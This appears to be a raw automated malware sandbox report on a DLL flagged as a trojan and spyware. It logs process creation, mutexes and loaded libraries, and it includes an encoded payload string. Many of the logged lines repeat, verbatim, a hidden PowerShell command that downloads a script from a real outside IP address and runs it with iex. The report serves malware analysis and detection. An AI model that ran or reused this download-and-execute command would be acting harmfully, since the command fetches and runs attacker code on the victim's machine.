xWJklIVRg8FkBLMwQLLixXDB4HExgQVAdFCS4XfVAlIkU4MRRPCREGcS5ABw9XUG45NGNtRWg
Source: 14.2.powershell.exe.8de0000.8.raw.unpack, Knvbl.cs	Base64 encoded string: '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

Source: classification engine

Classification label: mal100.troj.spyw.expl.evad.winDLL@55/36@0/2

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe

File created: C:\Users\user\AppData\Roaming\7n5rJCiEX08cdKRQsT6vxkbuaZ

Jump to behavior

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Mutant created: NULL
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:3384:120:WilError_03
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:6876:120:WilError_03
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:1492:120:WilError_03
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Mutant created: \Sessions\1\BaseNamedObjects\vfVDlx1hYR5eeg941COCgOYrK6gDAf45JWq0rREs6wMlgEvTfIqUB6GLeUYmXAHG6FXvNHIOyD5aGohg2YWDc5Vc5Yhb/Un2tvnT0+k3WzE=
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:6864:120:WilError_03

Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe

File created: C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_5nystepo.xcp.ps1

Jump to behavior

Source: iviewers.dll

Static PE information: Section: .text IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe

WMI Queries: IWbemServices::ExecQuery - root\cimv2 : Select * from Win32_Processor

Source: C:\Windows\System32\loaddll32.exe

Key opened: HKEY_CURRENT_USER\Software\Policies\Microsoft\Windows\Safer\CodeIdentifiers

Jump to behavior

Source: C:\Windows\SysWOW64\cmd.exe

Process created: C:\Windows\SysWOW64\rundll32.exe rundll32.exe "C:\Users\user\Desktop\iviewers.dll",#1

Source: unknown	Process created: C:\Windows\System32\loaddll32.exe loaddll32.exe "C:\Users\user\Desktop\iviewers.dll"
Source: C:\Windows\System32\loaddll32.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\System32\loaddll32.exe	Process created: C:\Windows\SysWOW64\cmd.exe cmd.exe /C rundll32.exe "C:\Users\user\Desktop\iviewers.dll",#1
Source: C:\Windows\System32\loaddll32.exe	Process created: C:\Windows\SysWOW64\regsvr32.exe regsvr32.exe /s C:\Users\user\Desktop\iviewers.dll
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\rundll32.exe rundll32.exe "C:\Users\user\Desktop\iviewers.dll",#1
Source: C:\Windows\System32\loaddll32.exe	Process created: C:\Windows\SysWOW64\rundll32.exe rundll32.exe C:\Users\user\Desktop\iviewers.dll,DllRegisterServer
Source: C:\Windows\SysWOW64\regsvr32.exe	Process created: C:\Windows\SysWOW64\cmd.exe C:\Windows\system32\cmd.exe /c powershell -windowstyle hidden -command "iwr -useb http://147.45.44.131/infopage/iubn.ps1 -Headers @{ 'X-Special-Header' = 'qInx8F3tuJDHXgOEfPJjbaipYaSE1mobJ2YRyo2rjNgnVDhJvevN8R2ku8oPCBonhmpzFb2GYqPiLhJq' } \| iex"
Source: C:\Windows\SysWOW64\rundll32.exe	Process created: C:\Windows\SysWOW64\cmd.exe C:\Windows\system32\cmd.exe /c powershell -windowstyle hidden -command "iwr -useb http://147.45.44.131/infopage/iubn.ps1 -Headers @{ 'X-Special-Header' = 'qInx8F3tuJDHXgOEfPJjbaipYaSE1mobJ2YRyo2rjNgnVDhJvevN8R2ku8oPCBonhmpzFb2GYqPiLhJq' } \| iex"
Source: C:\Windows\SysWOW64\rundll32.exe	Process created: C:\Windows\SysWOW64\cmd.exe C:\Windows\system32\cmd.exe /c powershell -windowstyle hidden -command "iwr -useb http://147.45.44.131/infopage/iubn.ps1 -Headers @{ 'X-Special-Header' = 'qInx8F3tuJDHXgOEfPJjbaipYaSE1mobJ2YRyo2rjNgnVDhJvevN8R2ku8oPCBonhmpzFb2GYqPiLhJq' } \| iex"
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe powershell -windowstyle hidden -command "iwr -useb http://147.45.44.131/infopage/iubn.ps1 -Headers @{ 'X-Special-Header' = 'qInx8F3tuJDHXgOEfPJjbaipYaSE1mobJ2YRyo2rjNgnVDhJvevN8R2ku8oPCBonhmpzFb2GYqPiLhJq' } \| iex"
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe powershell -windowstyle hidden -command "iwr -useb http://147.45.44.131/infopage/iubn.ps1 -Headers @{ 'X-Special-Header' = 'qInx8F3tuJDHXgOEfPJjbaipYaSE1mobJ2YRyo2rjNgnVDhJvevN8R2ku8oPCBonhmpzFb2GYqPiLhJq' } \| iex"
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe powershell -windowstyle hidden -command "iwr -useb http://147.45.44.131/infopage/iubn.ps1 -Headers @{ 'X-Special-Header' = 'qInx8F3tuJDHXgOEfPJjbaipYaSE1mobJ2YRyo2rjNgnVDhJvevN8R2ku8oPCBonhmpzFb2GYqPiLhJq' } \| iex"
Source: C:\Windows\System32\loaddll32.exe	Process created: C:\Windows\SysWOW64\cmd.exe C:\Windows\system32\cmd.exe /c powershell -windowstyle hidden -command "iwr -useb http://147.45.44.131/infopage/iubn.ps1 -Headers @{ 'X-Special-Header' = 'qInx8F3tuJDHXgOEfPJjbaipYaSE1mobJ2YRyo2rjNgnVDhJvevN8R2ku8oPCBonhmpzFb2GYqPiLhJq' } \| iex"
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe powershell -windowstyle hidden -command "iwr -useb http://147.45.44.131/infopage/iubn.ps1 -Headers @{ 'X-Special-Header' = 'qInx8F3tuJDHXgOEfPJjbaipYaSE1mobJ2YRyo2rjNgnVDhJvevN8R2ku8oPCBonhmpzFb2GYqPiLhJq' } \| iex"
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe "C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\user\AppData\Local\Temp\10esxhtc\10esxhtc.cmdline"
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe "C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\user\AppData\Local\Temp\wt2ogsc5\wt2ogsc5.cmdline"
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe "C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\user\AppData\Local\Temp\5swi5u3s\5swi5u3s.cmdline"
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe	Process created: C:\Windows\Microsoft.NET\Framework\v4.0.30319\cvtres.exe C:\Windows\Microsoft.NET\Framework\v4.0.30319\cvtres.exe /NOLOGO /READONLY /MACHINE:IX86 "/OUT:C:\Users\user\AppData\Local\Temp\RES67D9.tmp" "c:\Users\user\AppData\Local\Temp\5swi5u3s\CSCAF633C7494E44EEF91E489AA57193A1E.TMP"
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe	Process created: C:\Windows\Microsoft.NET\Framework\v4.0.30319\cvtres.exe C:\Windows\Microsoft.NET\Framework\v4.0.30319\cvtres.exe /NOLOGO /READONLY /MACHINE:IX86 "/OUT:C:\Users\user\AppData\Local\Temp\RES67D8.tmp" "c:\Users\user\AppData\Local\Temp\10esxhtc\CSC630D1DBBBF4439F8DFE57AEDCAADEA.TMP"
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe	Process created: C:\Windows\Microsoft.NET\Framework\v4.0.30319\cvtres.exe C:\Windows\Microsoft.NET\Framework\v4.0.30319\cvtres.exe /NOLOGO /READONLY /MACHINE:IX86 "/OUT:C:\Users\user\AppData\Local\Temp\RES67DA.tmp" "c:\Users\user\AppData\Local\Temp\wt2ogsc5\CSCB74DB134981A43F6AC9523DAB4F3A2ED.TMP"
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe "C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\user\AppData\Local\Temp\snrj5tfq\snrj5tfq.cmdline"
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe	Process created: C:\Windows\Microsoft.NET\Framework\v4.0.30319\cvtres.exe C:\Windows\Microsoft.NET\Framework\v4.0.30319\cvtres.exe /NOLOGO /READONLY /MACHINE:IX86 "/OUT:C:\Users\user\AppData\Local\Temp\RES6AB6.tmp" "c:\Users\user\AppData\Local\Temp\snrj5tfq\CSC3E3C918B4DA048DEA31452744D593FA.TMP"
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe "C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe"
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe "C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe"
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe "C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe"
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe "C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe"
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe "C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe"
Source: C:\Windows\System32\loaddll32.exe	Process created: C:\Windows\SysWOW64\cmd.exe cmd.exe /C rundll32.exe "C:\Users\user\Desktop\iviewers.dll",#1	Jump to behavior
Source: C:\Windows\System32\loaddll32.exe	Process created: C:\Windows\SysWOW64\regsvr32.exe regsvr32.exe /s C:\Users\user\Desktop\iviewers.dll	Jump to behavior
Source: C:\Windows\System32\loaddll32.exe	Process created: C:\Windows\SysWOW64\rundll32.exe rundll32.exe C:\Users\user\Desktop\iviewers.dll,DllRegisterServer	Jump to behavior
Source: C:\Windows\System32\loaddll32.exe	Process created: C:\Windows\SysWOW64\cmd.exe C:\Windows\system32\cmd.exe /c powershell -windowstyle hidden -command "iwr -useb http://147.45.44.131/infopage/iubn.ps1 -Headers @{ 'X-Special-Header' = 'qInx8F3tuJDHXgOEfPJjbaipYaSE1mobJ2YRyo2rjNgnVDhJvevN8R2ku8oPCBonhmpzFb2GYqPiLhJq' } \| iex"	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\rundll32.exe rundll32.exe "C:\Users\user\Desktop\iviewers.dll",#1	Jump to behavior
Source: C:\Windows\SysWOW64\regsvr32.exe	Process created: C:\Windows\SysWOW64\cmd.exe C:\Windows\system32\cmd.exe /c powershell -windowstyle hidden -command "iwr -useb http://147.45.44.131/infopage/iubn.ps1 -Headers @{ 'X-Special-Header' = 'qInx8F3tuJDHXgOEfPJjbaipYaSE1mobJ2YRyo2rjNgnVDhJvevN8R2ku8oPCBonhmpzFb2GYqPiLhJq' } \| iex"	Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe	Process created: C:\Windows\SysWOW64\cmd.exe C:\Windows\system32\cmd.exe /c powershell -windowstyle hidden -command "iwr -useb http://147.45.44.131/infopage/iubn.ps1 -Headers @{ 'X-Special-Header' = 'qInx8F3tuJDHXgOEfPJjbaipYaSE1mobJ2YRyo2rjNgnVDhJvevN8R2ku8oPCBonhmpzFb2GYqPiLhJq' } \| iex"	Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe	Process created: C:\Windows\SysWOW64\cmd.exe C:\Windows\system32\cmd.exe /c powershell -windowstyle hidden -command "iwr -useb http://147.45.44.131/infopage/iubn.ps1 -Headers @{ 'X-Special-Header' = 'qInx8F3tuJDHXgOEfPJjbaipYaSE1mobJ2YRyo2rjNgnVDhJvevN8R2ku8oPCBonhmpzFb2GYqPiLhJq' } \| iex"	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe powershell -windowstyle hidden -command "iwr -useb http://147.45.44.131/infopage/iubn.ps1 -Headers @{ 'X-Special-Header' = 'qInx8F3tuJDHXgOEfPJjbaipYaSE1mobJ2YRyo2rjNgnVDhJvevN8R2ku8oPCBonhmpzFb2GYqPiLhJq' } \| iex"	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe powershell -windowstyle hidden -command "iwr -useb http://147.45.44.131/infopage/iubn.ps1 -Headers @{ 'X-Special-Header' = 'qInx8F3tuJDHXgOEfPJjbaipYaSE1mobJ2YRyo2rjNgnVDhJvevN8R2ku8oPCBonhmpzFb2GYqPiLhJq' } \| iex"
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe powershell -windowstyle hidden -command "iwr -useb http://147.45.44.131/infopage/iubn.ps1 -Headers @{ 'X-Special-Header' = 'qInx8F3tuJDHXgOEfPJjbaipYaSE1mobJ2YRyo2rjNgnVDhJvevN8R2ku8oPCBonhmpzFb2GYqPiLhJq' } \| iex"
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe "C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\user\AppData\Local\Temp\10esxhtc\10esxhtc.cmdline"	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe "C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe"	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe "C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\user\AppData\Local\Temp\wt2ogsc5\wt2ogsc5.cmdline"
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe "C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe"
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe "C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\user\AppData\Local\Temp\5swi5u3s\5swi5u3s.cmdline"
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe "C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe"
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe "C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe"
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe powershell -windowstyle hidden -command "iwr -useb http://147.45.44.131/infopage/iubn.ps1 -Headers @{ 'X-Special-Header' = 'qInx8F3tuJDHXgOEfPJjbaipYaSE1mobJ2YRyo2rjNgnVDhJvevN8R2ku8oPCBonhmpzFb2GYqPiLhJq' } \| iex"
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe "C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\user\AppData\Local\Temp\snrj5tfq\snrj5tfq.cmdline"
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe "C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe"
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe	Process created: C:\Windows\Microsoft.NET\Framework\v4.0.30319\cvtres.exe C:\Windows\Microsoft.NET\Framework\v4.0.30319\cvtres.exe /NOLOGO /READONLY /MACHINE:IX86 "/OUT:C:\Users\user\AppData\Local\Temp\RES67D8.tmp" "c:\Users\user\AppData\Local\Temp\10esxhtc\CSC630D1DBBBF4439F8DFE57AEDCAADEA.TMP"	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe	Process created: C:\Windows\Microsoft.NET\Framework\v4.0.30319\cvtres.exe C:\Windows\Microsoft.NET\Framework\v4.0.30319\cvtres.exe /NOLOGO /READONLY /MACHINE:IX86 "/OUT:C:\Users\user\AppData\Local\Temp\RES67DA.tmp" "c:\Users\user\AppData\Local\Temp\wt2ogsc5\CSCB74DB134981A43F6AC9523DAB4F3A2ED.TMP"	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe	Process created: C:\Windows\Microsoft.NET\Framework\v4.0.30319\cvtres.exe C:\Windows\Microsoft.NET\Framework\v4.0.30319\cvtres.exe /NOLOGO /READONLY /MACHINE:IX86 "/OUT:C:\Users\user\AppData\Local\Temp\RES67D9.tmp" "c:\Users\user\AppData\Local\Temp\5swi5u3s\CSCAF633C7494E44EEF91E489AA57193A1E.TMP"	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe	Process created: C:\Windows\Microsoft.NET\Framework\v4.0.30319\cvtres.exe C:\Windows\Microsoft.NET\Framework\v4.0.30319\cvtres.exe /NOLOGO /READONLY /MACHINE:IX86 "/OUT:C:\Users\user\AppData\Local\Temp\RES6AB6.tmp" "c:\Users\user\AppData\Local\Temp\snrj5tfq\CSC3E3C918B4DA048DEA31452744D593FA.TMP"	Jump to behavior

Source: C:\Windows\System32\loaddll32.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Windows\System32\loaddll32.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Windows\SysWOW64\regsvr32.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Windows\SysWOW64\regsvr32.exe	Section loaded: aclayers.dll	Jump to behavior
Source: C:\Windows\SysWOW64\regsvr32.exe	Section loaded: mpr.dll	Jump to behavior
Source: C:\Windows\SysWOW64\regsvr32.exe	Section loaded: sfc.dll	Jump to behavior
Source: C:\Windows\SysWOW64\regsvr32.exe	Section loaded: sfc_os.dll	Jump to behavior
Source: C:\Windows\SysWOW64\regsvr32.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\SysWOW64\regsvr32.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: atl.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: mscoree.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: vcruntime140_clr0400.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: msisip.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wshext.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: appxsip.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: opcservices.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: gpapi.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: secur32.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: dnsapi.dll	Jump to behavior
